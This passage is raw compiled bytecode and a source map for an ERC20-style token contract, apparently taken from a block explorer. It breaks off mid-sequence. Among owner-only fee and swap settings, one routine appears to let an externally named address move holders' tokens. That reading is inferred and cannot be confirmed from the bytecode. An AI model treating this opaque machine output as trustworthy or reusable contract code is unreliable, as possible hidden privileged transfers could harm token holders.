505050506040513d601f19601f8201168201806040525081019061212d9190612b0b565b8160018151811061214057612140612dc0565b6001600160a01b039283166020918202929092010152601954612166913091168461194a565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061219f908590600090869030904290600401612dd6565b600060405180830381600087803b1580156121b957600080fd5b505af11580156121cd573d6000803e3d6000fd5b505050505050565b6000610a428284612abf565b6001600160a01b0383166122075760405162461bcd60e51b815260040161096790612d38565b6001600160a01b03821661222d5760405162461bcd60e51b815260040161096790612d7d565b6001600160a01b038316600090815260208190526040902054818110156122a55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610967565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906122dc908490612af8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232891815260200190565b60405180910390a3611ae2565b6001600160a01b03831660009081526015602052604081205460ff1680156123e65750601a60009054906101000a90046001600160a01b03166001600160a01b031663169c8eee6040518163ffffffff1660e01b81526004016020604051808303816000875af11580156123ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123d19190612b0b565b6001600160a01b0316836001600160a01b0316145b80156123f95750816123f785610fa4565b105b156124f657601a5460408051630b4e477760e11b815290516124ee926001600160a01b03169163169c8eee91600480830192602092919082900301816000875af115801561244b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246f9190612b0b565b601a60009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b81526004016020604051808303816000875af11580156124c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e89190612b0b565b846121e1565b506001610a42565b5060009392505050565b60008061250b610b6c565b116125165750600090565b50600190565b600061252730610fa4565b90506000600b54600c5461253b9190612af8565b9050811580612548575080155b15612551575050565b6011548211156125615760115491505b6000600282600c54856125749190612abf565b61257e9190612ad6565b6125889190612ad6565b9050600061259684836127b9565b9050476125a28261207b565b60006125ae47836127b9565b905060006125d1866125cb600b54856121d590919063ffffffff16565b906127c5565b905060006125df8284612b41565b90506000861180156125f15750600081115b156126445761260086826127d1565b600c54604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6000600c819055600b819055600f546040516001600160a01b039091169084908381818185875af1925050503d806000811461269c576040519150601f19603f3d011682016040523d82523d6000602084013e6126a1565b606091505b505050505050505050505050565b60006126bb8686611261565b905080156127ae5760065460075484156126f4576009546006546126df9190612af8565b91506009546007546126f19190612af8565b90505b831561271f57600a5460065461270a9190612af8565b9150600a5460075461271c9190612af8565b90505b600061273060646125cb89866121d5565b905082600854826127419190612abf565b61274b9190612ad6565b600c600082825461275c9190612af8565b9091555083905061276d8383612abf565b6127779190612ad6565b600b60008282546127889190612af8565b9091555050801561279e5761279e8930836121e1565b6127a88188612b41565b96505050505b6121cd8686866121e1565b6000610a428284612b41565b6000610a428284612ad6565b6019546127e99030906001600160a01b03168461194a565b6019546001600160a01b031663f305d7198230856000806128126005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561287a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061289f9190612e47565b5050505050565b600060208083528351808285015260005b818110156128d3578581018301518582016040015282016128b7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b1657600080fd5b6000806040838503121561291c57600080fd5b8235612927816128f4565b946020939093013593505050565b60006020828403121561294757600080fd5b5035919050565b60008060006060848603121561296357600080fd5b833561296e816128f4565b9250602084013561297e816128f4565b929592945050506040919091013590565b6000602082840312156129a157600080fd5b8135610a42816128f4565b600080604083850312156129bf57600080fd5b50508035926020909101359150565b600080604083850312156129e157600080fd5b82356129ec816128f4565b915060208301358015158114612a0157600080fd5b809150509250929050565b60008060408385031215612a1f57600080fd5b8235612a2a816128f4565b91506020830135612a01816128f4565b600181811c90821680612a4e57607f821691505b602082108103612a6e57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761093757610937612aa9565b600082612af357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561093757610937612aa9565b600060208284031215612b1d57600080fd5b8151610a42816128f4565b600060208284031215612b3a57600080fd5b5051919050565b8181038181111561093757610937612aa9565b80516001600160701b038116811461178157600080fd5b600080600060608486031215612b8057600080fd5b612b8984612b54565b9250612b9760208501612b54565b9150604084015163ffffffff81168114612bb057600080fd5b809150509250925092565b805169ffffffffffffffffffff8116811461178157600080fd5b600080600080600060a08688031215612bed57600080fd5b612bf686612bbb565b9450602086015193506040860151925060608601519150612c1960808701612bbb565b90509295509295909350565b600060208284031215612c3757600080fd5b815160ff81168114610a4257600080fd5b600181815b80851115612c83578160001904821115612c6957612c69612aa9565b80851615612c7657918102915b93841c9390800290612c4d565b509250929050565b600082612c9a57506001610937565b81612ca757506000610937565b8160018114612cbd5760028114612cc757612ce3565b6001915050610937565b60ff841115612cd857612cd8612aa9565b50506001821b610937565b5060208310610133831016604e8410600b8410161715612d06575081810a610937565b612d108383612c48565b8060001904821115612d2457612d24612aa9565b029392505050565b6000610a428383612c8b565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612e265784516001600160a01b031683529383019391830191600101612e01565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612e5c57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ab75419dac4826d07db9fd23813b9d5b4ad9f6423b21574e160582095df8beac64736f6c63430008110033

Deployed Bytecode Sourcemap

38926:15886:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39379:36;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;39379:36:0;;;;;;;;39577:27;;;;;;;;;;-1:-1:-1;39577:27:0;;;;;;;-1:-1:-1;;;;;39577:27:0;;;;;;-1:-1:-1;;;;;360:32:1;;;342:51;;330:2;315:18;39577:27:0;196:203:1;27735:100:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;30227:242::-;;;;;;;;;;-1:-1:-1;30227:242:0;;;;;:::i;:::-;;:::i;:::-;;;1578:14:1;;1571:22;1553:41;;1541:2;1526:18;30227:242:0;1413:187:1;28855:108:0;;;;;;;;;;-1:-1:-1;28943:12:0;;28855:108;;42202:272;;;;;;;;;;-1:-1:-1;42202:272:0;;;;;:::i;:::-;;:::i;:::-;;31049:295;;;;;;;;;;-1:-1:-1;31049:295:0;;;;;:::i;:::-;;:::i;52840:168::-;;;;;;;;;;-1:-1:-1;52840:168:0;;;;;:::i;:::-;;:::i;39536:34::-;;;;;;;;;;-1:-1:-1;39536:34:0;;;;;;;;;;;39422;;;;;;;;;;;;;;;;28697:93;;;;;;;;;;-1:-1:-1;28697:93:0;;28780:2;2645:36:1;;2633:2;2618:18;28697:93:0;2503:184:1;54540:232:0;;;;;;;;;;;;;:::i;50355:91::-;;;;;;;;;;;;;:::i;31753:270::-;;;;;;;;;;-1:-1:-1;31753:270:0;;;;;:::i;:::-;;:::i;43874:815::-;;;;;;;;;;;;;:::i;50120:126::-;;;;;;;;;;-1:-1:-1;50120:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;50210:28:0;50186:4;50210:28;;;:19;:28;;;;;;;;;50120:126;40031:42;;;;;;;;;;-1:-1:-1;40031:42:0;;;;-1:-1:-1;;;;;40031:42:0;;;39847:177;;;;;;;;;;-1:-1:-1;39847:177:0;;;;-1:-1:-1;;;;;39847:177:0;;;43301:316;;;;;;;;;;-1:-1:-1;43301:316:0;;;;;:::i;:::-;;:::i;29026:177::-;;;;;;;;;;-1:-1:-1;29026:177:0;;;;;:::i;:::-;;:::i;24357:103::-;;;;;;;;;;;;;:::i;43625:122::-;;;;;;;;;;;;;:::i;42743:167::-;;;;;;;;;;-1:-1:-1;42743:167:0;;;;;:::i;:::-;;:::i;39463:25::-;;;;;;;;;;;;;;;;42112:82;;;;;;;;;;;;;:::i;23706:87::-;;;;;;;;;;-1:-1:-1;23779:6:0;;-1:-1:-1;;;;;23779:6:0;23706:87;;44697:491;;;;;;;;;;;;;:::i;:::-;;;;3863:22:1;3912:15;;;3894:34;;3959:2;3944:18;;3937:34;;;;3987:18;;3980:34;;;;4045:2;4030:18;;4023:34;4094:15;;;4088:3;4073:19;;4066:44;3840:3;3825:19;44697:491:0;3600:516:1;27954:104:0;;;;;;;;;;;;;:::i;53690:301::-;;;;;;;;;;-1:-1:-1;53690:301:0;;;;;:::i;:::-;;:::i;40118:29::-;;;;;;;;;;-1:-1:-1;40118:29:0;;;;-1:-1:-1;;;;;40118:29:0;;;49100:506;;;;;;;;;;-1:-1:-1;49100:506:0;;;;;:::i;:::-;;:::i;32526:505::-;;;;;;;;;;-1:-1:-1;32526:505:0;;;;;:::i;:::-;;:::i;29409:234::-;;;;;;;;;;-1:-1:-1;29409:234:0;;;;;:::i;:::-;;:::i;50254:93::-;;;;;;;;;;;;;:::i;39611:50::-;;;;;;;;;;-1:-1:-1;39611:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;40252:58;;;;;;;;;;-1:-1:-1;40252:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;53380:182;;;;;;;;;;-1:-1:-1;53380:182:0;;;;;:::i;:::-;;:::i;42482:253::-;;;;;;;;;;-1:-1:-1;42482:253:0;;;;;:::i;:::-;;:::i;53016:173::-;;;;;;;;;;;;;:::i;53570:112::-;;;;;;;;;;-1:-1:-1;53570:112:0;;;;;:::i;:::-;;:::i;49614:498::-;;;;;;;;;;-1:-1:-1;49614:498:0;;;;;:::i;:::-;;:::i;54242:290::-;;;;;;;;;;;;;:::i;53197:175::-;;;;;;;;;;;;;:::i;29706:201::-;;;;;;;;;;-1:-1:-1;29706:201:0;;;;;:::i;:::-;;:::i;39495:34::-;;;;;;;;;;-1:-1:-1;39495:34:0;;;;;;;;24615:238;;;;;;;;;;-1:-1:-1;24615:238:0;;;;;:::i;:::-;;:::i;39005:25::-;;;;;;;;;;;;;;;;52714:118;;;;;;;;;;-1:-1:-1;52714:118:0;;;;;:::i;:::-;;:::i;27735:100::-;27789:13;27822:5;27815:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27735:100;:::o;30227:242::-;30346:4;1109:10;30407:32;1109:10;30423:7;30432:6;30407:8;:32::i;:::-;30457:4;30450:11;;;30227:242;;;;;:::o;42202:272::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;;;;;;;;;42339:4:::1;42331;42310:13;28943:12:::0;;;28855:108;42310:13:::1;:17;::::0;42326:1:::1;42310:17;:::i;:::-;42309:26;;;;:::i;:::-;42308:35;;;;:::i;:::-;42298:6;:45;;42276:142;;;::::0;-1:-1:-1;;;42276:142:0;;5989:2:1;42276:142:0::1;::::0;::::1;5971:21:1::0;6028:2;6008:18;;;6001:30;6067:34;6047:18;;;6040:62;-1:-1:-1;;;6118:18:1;;;6111:45;6173:19;;42276:142:0::1;5787:411:1::0;42276:142:0::1;42453:13;:6:::0;42462:4:::1;42453:13;:::i;:::-;42429:21;:37:::0;-1:-1:-1;42202:272:0:o;31049:295::-;31180:4;1109:10;31238:38;31254:4;1109:10;31269:6;31238:15;:38::i;:::-;31287:27;31297:4;31303:2;31307:6;31287:9;:27::i;:::-;31332:4;31325:11;;;31049:295;;;;;;:::o;52840:168::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;52915:16:::1;:23:::0;;-1:-1:-1;;;;;52915:23:0;;::::1;-1:-1:-1::0;;;;;;52915:23:0;;::::1;::::0;::::1;::::0;;;52949:9:::1;:51:::0;;;;::::1;;::::0;;52840:168::o;54540:232::-;54606:14;;-1:-1:-1;;;;;54606:14:0;54592:10;:28;54584:37;;;;;;54659:14;;54651:86;;54633:12;;-1:-1:-1;;;;;54659:14:0;;54701:21;;54633:12;54651:86;54633:12;54651:86;54701:21;54659:14;54651:86;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;54632:105;;;54756:7;54748:16;;;;;;54573:199;54540:232::o;50355:91::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;50437:1:::1;50417:17;:21:::0;50355:91::o;31753:270::-;31868:4;1109:10;31929:64;1109:10;31945:7;31982:10;31954:25;1109:10;31945:7;31954:9;:25::i;:::-;:38;;;;:::i;:::-;31929:8;:64::i;43874:815::-;43915:7;43935:21;44003:14;;;;;;;;;-1:-1:-1;;;;;44003:14:0;-1:-1:-1;;;;;43988:37:0;;:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;43935:103;;44049:21;44117:14;;;;;;;;;-1:-1:-1;;;;;44117:14:0;-1:-1:-1;;;;;44102:37:0;;:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44049:103;;44163:16;44197:11;;;;;;;;;-1:-1:-1;;;;;44197:11:0;-1:-1:-1;;;;;44197:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44182:12;;:41;;;;:::i;:::-;44163:60;;44235:12;44249;44282:14;;;;;;;;;-1:-1:-1;;;;;44282:14:0;-1:-1:-1;;;;;44267:56:0;;:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;44360:14:0;;44389:19;;44234:91;;-1:-1:-1;44234:91:0;;-1:-1:-1;44360:14:0;-1:-1:-1;;;44389:19:0;;;;44385:100;;;44452:4;-1:-1:-1;;;;;44452:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;44425:48:0;;-1:-1:-1;;;;44385:100:0;44495:12;44623:6;-1:-1:-1;;;;;44623:15:0;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44615:26;;44592:6;-1:-1:-1;;;;;44592:15:0;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44580:30;;44584:26;;44580:2;:30;:::i;:::-;44511:52;44548:14;-1:-1:-1;;;;;44511:13:0;;:52;:::i;:::-;:100;;;;:::i;:::-;44510:131;;;;:::i;:::-;44495:146;-1:-1:-1;44660:20:0;-1:-1:-1;;;;;44667:13:0;;44495:146;44660:20;:::i;:::-;44652:29;;;;;;;;;43874:815;:::o;43301:316::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;43420:13:::1;:28:::0;;;43459:13:::1;:28:::0;;;43511:29:::1;43475:12:::0;43436;43511:29:::1;:::i;:::-;43498:10;:42:::0;;;43573:2:::1;-1:-1:-1::0;43559:16:0::1;43551:58;;;::::0;-1:-1:-1;;;43551:58:0;;10285:2:1;43551:58:0::1;::::0;::::1;10267:21:1::0;10324:2;10304:18;;;10297:30;10363:31;10343:18;;;10336:59;10412:18;;43551:58:0::1;10083:353:1::0;43551:58:0::1;43301:316:::0;;:::o;29026:177::-;-1:-1:-1;;;;;29177:18:0;29145:7;29177:18;;;;;;;;;;;;29026:177::o;24357:103::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;24422:30:::1;24449:1;24422:18;:30::i;:::-;24357:103::o:0;43625:122::-;23779:6;;43677:4;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;-1:-1:-1;43694:15:0::1;:23:::0;;-1:-1:-1;;43694:23:0::1;::::0;;;43625:122;:::o;42743:167::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;42856:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;42856:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;42743:167::o;42112:82::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;42165:14:::1;:21:::0;;-1:-1:-1;;42165:21:0::1;;;::::0;;42112:82::o;44697:491::-;44787:6;44808;44829:7;44851;44873:6;44922:14;44951:12;44978:17;45010;45042:22;45078:9;;;;;;;;;-1:-1:-1;;;;;45078:9:0;-1:-1:-1;;;;;45078:25:0;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44907:198;;;;-1:-1:-1;44907:198:0;;-1:-1:-1;44907:198:0;-1:-1:-1;44907:198:0;;-1:-1:-1;44697:491:0;-1:-1:-1;;;;;;44697:491:0:o;27954:104::-;28010:13;28043:7;28036:14;;;;;:::i;53690:301::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;53799:14:::1;::::0;-1:-1:-1;;;;;53799:14:0;;::::1;53791:22:::0;;::::1;::::0;53783:92:::1;;;::::0;-1:-1:-1;;;53783:92:0;;10643:2:1;53783:92:0::1;::::0;::::1;10625:21:1::0;10682:2;10662:18;;;10655:30;10721:34;10701:18;;;10694:62;10792:27;10772:18;;;10765:55;10837:19;;53783:92:0::1;10441:421:1::0;53783:92:0::1;53886:41;53915:4;53921:5;53886:28;:41::i;:::-;53943:40;::::0;;::::1;;::::0;-1:-1:-1;;;;;53943:40:0;::::1;::::0;::::1;::::0;;;::::1;53690:301:::0;;:::o;49100:506::-;49201:14;;49163:4;;;;-1:-1:-1;;;;;49193:22:0;;;49201:14;;49193:22;:57;;;;-1:-1:-1;49233:16:0;;-1:-1:-1;;;;;49219:31:0;;;49233:16;;49219:31;;49193:57;-1:-1:-1;;;;;49286:25:0;;49261:22;49286:25;;;:19;:25;;;;;;49180:70;;-1:-1:-1;49261:22:0;49286:25;;;:52;;-1:-1:-1;;;;;;49315:23:0;;;;;;:19;:23;;;;;;;;49286:52;49369:14;;49261:77;;-1:-1:-1;;;;;;49363:20:0;;;49369:14;;49363:20;49349:11;49409:5;;:15;;;49418:6;49409:15;49452:10;;49395:29;;-1:-1:-1;49452:14:0;;;;;;49501:39;;-1:-1:-1;49527:13:0;;;;49526:14;49501:39;:74;;;;;49558:17;49557:18;49501:74;:97;;;;;49592:6;49501:97;49480:118;49100:506;-1:-1:-1;;;;;;;;49100:506:0:o;32526:505::-;32646:4;1109:10;32646:4;32734:25;1109:10;32751:7;32734:9;:25::i;:::-;32707:52;;32812:15;32792:16;:35;;32770:122;;;;-1:-1:-1;;;32770:122:0;;11069:2:1;32770:122:0;;;11051:21:1;11108:2;11088:18;;;11081:30;11147:34;11127:18;;;11120:62;-1:-1:-1;;;11198:18:1;;;11191:35;11243:19;;32770:122:0;10867:401:1;32770:122:0;32928:60;32937:5;32944:7;32972:15;32953:16;:34;32928:8;:60::i;:::-;-1:-1:-1;33019:4:0;;32526:505;-1:-1:-1;;;;32526:505:0:o;29409:234::-;29524:4;1109:10;29585:28;1109:10;29602:2;29606:6;29585:9;:28::i;50254:93::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;50338:1:::1;50317:18;:22:::0;50254:93::o;53380:182::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;53465:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;53465:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;53520:34;;1553:41:1;;;53520:34:0::1;::::0;1526:18:1;53520:34:0::1;;;;;;;53380:182:::0;;:::o;42482:253::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;42622:4:::1;42614;42593:13;28943:12:::0;;;28855:108;42593:13:::1;:17;::::0;42609:1:::1;42593:17;:::i;:::-;42592:26;;;;:::i;:::-;42591:35;;;;:::i;:::-;42581:6;:45;;42559:131;;;::::0;-1:-1:-1;;;42559:131:0;;11475:2:1;42559:131:0::1;::::0;::::1;11457:21:1::0;11514:2;11494:18;;;11487:30;11553:34;11533:18;;;11526:62;-1:-1:-1;;;11604:18:1;;;11597:34;11648:19;;42559:131:0::1;11273:400:1::0;42559:131:0::1;42714:13;:6:::0;42723:4:::1;42714:13;:::i;:::-;42701:10;:26:::0;-1:-1:-1;42482:253:0:o;53016:173::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;53083:19:::1;::::0;-1:-1:-1;;;53083:19:0;::::1;;;:28;53075:69;;;::::0;-1:-1:-1;;;53075:69:0;;11880:2:1;53075:69:0::1;::::0;::::1;11862:21:1::0;11919:2;11899:18;;;11892:30;11958;11938:18;;;11931:58;12006:18;;53075:69:0::1;11678:352:1::0;53075:69:0::1;53155:19;:26:::0;;-1:-1:-1;;;;53155:26:0::1;-1:-1:-1::0;;;53155:26:0::1;::::0;;53016:173::o;53570:112::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;53648:14:::1;:26:::0;;-1:-1:-1;;;;;;53648:26:0::1;-1:-1:-1::0;;;;;53648:26:0;;;::::1;::::0;;;::::1;::::0;;53570:112::o;49614:498::-;23779:6;;49722:4;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;49801:6:::1;49780:13;28943:12:::0;;;28855:108;49780:13:::1;:17;::::0;49796:1:::1;49780:17;:::i;:::-;49779:28;;;;:::i;:::-;49766:9;:41;;49744:144;;;::::0;-1:-1:-1;;;49744:144:0;;12237:2:1;49744:144:0::1;::::0;::::1;12219:21:1::0;12276:2;12256:18;;;12249:30;12315:34;12295:18;;;12288:62;-1:-1:-1;;;12366:18:1;;;12359:51;12427:19;;49744:144:0::1;12035:417:1::0;49744:144:0::1;49956:4;49935:13;28943:12:::0;;;28855:108;49935:13:::1;:17;::::0;49951:1:::1;49935:17;:::i;:::-;49934:26;;;;:::i;:::-;49921:9;:39;;49899:141;;;::::0;-1:-1:-1;;;49899:141:0;;12659:2:1;49899:141:0::1;::::0;::::1;12641:21:1::0;12698:2;12678:18;;;12671:30;12737:34;12717:18;;;12710:62;-1:-1:-1;;;12788:18:1;;;12781:50;12848:19;;49899:141:0::1;12457:416:1::0;49899:141:0::1;-1:-1:-1::0;50051:19:0::1;:31:::0;;;50100:4:::1;23997:1;49614:498:::0;;;:::o;54242:290::-;54310:14;;-1:-1:-1;;;;;54310:14:0;54296:10;:28;54288:37;;;;;;54336:43;54354:24;54372:4;54354:9;:24::i;:::-;54336:17;:43::i;53197:175::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;53265:19:::1;::::0;-1:-1:-1;;;53265:19:0;::::1;;;:27;;53288:4;53265:27;53257:69;;;::::0;-1:-1:-1;;;53257:69:0;;13080:2:1;53257:69:0::1;::::0;::::1;13062:21:1::0;13119:2;13099:18;;;13092:30;13158:31;13138:18;;;13131:59;13207:18;;53257:69:0::1;12878:353:1::0;53257:69:0::1;53337:19;:27:::0;;-1:-1:-1;;;;53337:27:0::1;::::0;;53197:175::o;29706:201::-;-1:-1:-1;;;;;29872:18:0;;;29840:7;29872:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;29706:201::o;24615:238::-;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24718:22:0;::::1;24696:110;;;::::0;-1:-1:-1;;;24696:110:0;;13438:2:1;24696:110:0::1;::::0;::::1;13420:21:1::0;13477:2;13457:18;;;13450:30;13516:34;13496:18;;;13489:62;-1:-1:-1;;;13567:18:1;;;13560:36;13613:19;;24696:110:0::1;13236:402:1::0;24696:110:0::1;24817:28;24836:8;24817:18;:28::i;52714:118::-:0;23779:6;;-1:-1:-1;;;;;23779:6:0;1109:10;23926:23;23918:68;;;;-1:-1:-1;;;23918:68:0;;;;;;;:::i;:::-;52808:15:::1;:3:::0;52816:6:::1;52808:7;:15::i;:::-;52784:14;:40:::0;-1:-1:-1;52714:118:0:o;36266:380::-;-1:-1:-1;;;;;36402:19:0;;36394:68;;;;-1:-1:-1;;;36394:68:0;;13845:2:1;36394:68:0;;;13827:21:1;13884:2;13864:18;;;13857:30;13923:34;13903:18;;;13896:62;-1:-1:-1;;;13974:18:1;;;13967:34;14018:19;;36394:68:0;13643:400:1;36394:68:0;-1:-1:-1;;;;;36481:21:0;;36473:68;;;;-1:-1:-1;;;36473:68:0;;14250:2:1;36473:68:0;;;14232:21:1;14289:2;14269:18;;;14262:30;14328:34;14308:18;;;14301:62;-1:-1:-1;;;14379:18:1;;;14372:32;14421:19;;36473:68:0;14048:398:1;36473:68:0;-1:-1:-1;;;;;36554:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;36606:32;;160:25:1;;;36606:32:0;;133:18:1;36606:32:0;;;;;;;36266:380;;;:::o;36937:502::-;37072:24;37099:25;37109:5;37116:7;37099:9;:25::i;:::-;37072:52;;-1:-1:-1;;37139:16:0;:37;37135:297;;37239:6;37219:16;:26;;37193:117;;;;-1:-1:-1;;;37193:117:0;;14653:2:1;37193:117:0;;;14635:21:1;14692:2;14672:18;;;14665:30;14731:31;14711:18;;;14704:59;14780:18;;37193:117:0;14451:353:1;37193:117:0;37354:51;37363:5;37370:7;37398:6;37379:16;:25;37354:8;:51::i;:::-;37061:378;36937:502;;;:::o;45196:2861::-;-1:-1:-1;;;;;45344:25:0;;45320:21;45344:25;;;:19;:25;;;;;;;;;:65;;-1:-1:-1;;;;;;45386:23:0;;;;;;:19;:23;;;;;;;;45344:65;45320:89;-1:-1:-1;;;;;;45430:18:0;;45422:68;;;;-1:-1:-1;;;45422:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;45509:16:0;;45501:64;;;;-1:-1:-1;;;45501:64:0;;;;;;;:::i;:::-;45582:6;45592:1;45582:11;45578:93;;45610:28;45626:4;45632:2;45636:1;45610:15;:28::i;45578:93::-;-1:-1:-1;;;;;45687:31:0;;;;;;:25;:31;;;;;;;;45683:210;;;-1:-1:-1;;;;;45739:19:0;;;;;;:15;:19;;;;;;:24;;45735:102;;-1:-1:-1;;;;;45784:19:0;;;;;;:15;:19;;;;;45806:15;45784:37;;45735:102;45683:210;;;45859:13;;;;45854:39;;45874:12;:19;;-1:-1:-1;;;;;;45874:19:0;;-1:-1:-1;;;;;45874:19:0;;;;;;45854:39;45927:14;;45906:10;;-1:-1:-1;;;;;45919:22:0;;;45927:14;;45919:22;:75;;;;-1:-1:-1;;;;;;45959:35:0;;;;;;:31;:35;;;;;;;;45958:36;45919:75;46025:14;;45906:88;;-1:-1:-1;46005:11:0;;-1:-1:-1;;;;;46019:20:0;;;46025:14;;46019:20;:75;;;;-1:-1:-1;;;;;;46057:37:0;;;;;;:31;:37;;;;;;;;46056:38;46019:75;46005:89;;46105:16;46132:7;23779:6;;-1:-1:-1;;;;;23779:6:0;;23706:87;46132:7;-1:-1:-1;;;;;46124:15:0;:4;-1:-1:-1;;;;;46124:15:0;;:32;;;-1:-1:-1;23779:6:0;;-1:-1:-1;;;;;46143:13:0;;;23779:6;;46143